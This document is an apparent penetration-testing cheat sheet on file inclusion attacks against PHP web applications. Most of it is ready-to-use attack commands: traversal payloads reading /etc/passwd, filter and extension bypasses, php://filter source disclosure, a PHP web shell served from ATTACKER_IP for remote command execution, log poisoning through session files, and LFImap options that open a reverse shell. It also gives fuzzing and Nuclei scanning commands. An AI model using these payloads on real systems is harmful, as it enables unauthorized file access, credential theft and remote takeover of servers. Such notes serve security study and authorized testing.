File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
There are 2 types, which depend on the underlying vulnerable function:
Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:
Linux: /etc/passwd
Windows: C:\Windows\boot.ini
Generally, they will be 3-5 folder depths down from the root filesystem:
# without '/'../../../../etc/passwd
# with '/'/../../../../etc/passwd
# basic filter '../' bypass....//....//....//etc/passwd
..././
....\/# URL encoding: must encode entire string%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
# regex might require a specific string or extension for a folder or extension# the extension part can limit the files accessiblelanguages/.*php
# overflow character limit to evade extension filter# ONLY: PHP <5.3 versionsecho -n "non_existing_directory/../../../etc/passwd/"&&for i in {1..2048}; do echo -n "./"; done# null byte# ONLY: PHP <5.5 versions../../../../etc/passwd%00.php
URL Encoding
# Total URL Encoding via Pythonecho -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"
Finding Files
Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)
# Find *.php files that DO EXIST on the serverffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php
If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:
# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>
# View Page Source > Decode base64echo '<BASE64> | base64 -d'
# If the LFI is already know (e.g. via LFImap) this# can browse for all accessible config filesffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v
Execute Commands
If able, check that appropriate settings are enabled and the underlying function supports the command.
If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.
# URL is the remote resourcehttp://<TARGET>/<PAGE>?<PARAMETER>=<URL>
# Create remote PHP web shell# NOTE: this only works for get and execute style functionsecho '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080# Execute commands by calling back to ATTACK_IP and executing that filecurl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'
Log Poisoning
Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.
# Get PHPSESSION from F12 > Storage# NOTE: that file is stored on disk as:# /var/lib/php/sessions/sess_<PHPSESSION># Read the settings for the PHPSESSIONhttp://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Let's see if we control the OPTIONhttp://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the valuehttp://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>
# Set OPTION to a PHP webshellcurl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'# Now execute commandscurl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'
If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.
Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.
2. The str_replace Trap
Many developers try to fix LFI with str_replace("../", "", $input).
The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.
Advanced Scanning
The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:
# NOTE: filter out by response size since an HTTP response of 200 OK will always be receivedffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>
POST
# NOTE: filter out by response size since an HTTP response of 200 OK will always be receivedffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>
LFImap
Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).
# Installgit clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt
# Base Scan (Use '*' to mark the injection point)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'# Full Auto-Exploit (Tests all bypasses & attempts RCE)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a
# Pop a Reverse Shell directly (if vulnerable)python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>
Nuclei
Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.
When system Go is broken or missing (HTB / online lab VMs)…
go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23
…Install a local Go and wire it into PATH:
wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates firstnuclei -ut
# Target a specific URL for all known LFI vectorsecho 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi
# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)nuclei -u 'http://<TARGET>/' -dast -tags lfi
# Blind OOB LFI (Catch callbacks with interactsh automatically)nuclei -u 'http://<TARGET>/' -tags oast,lfi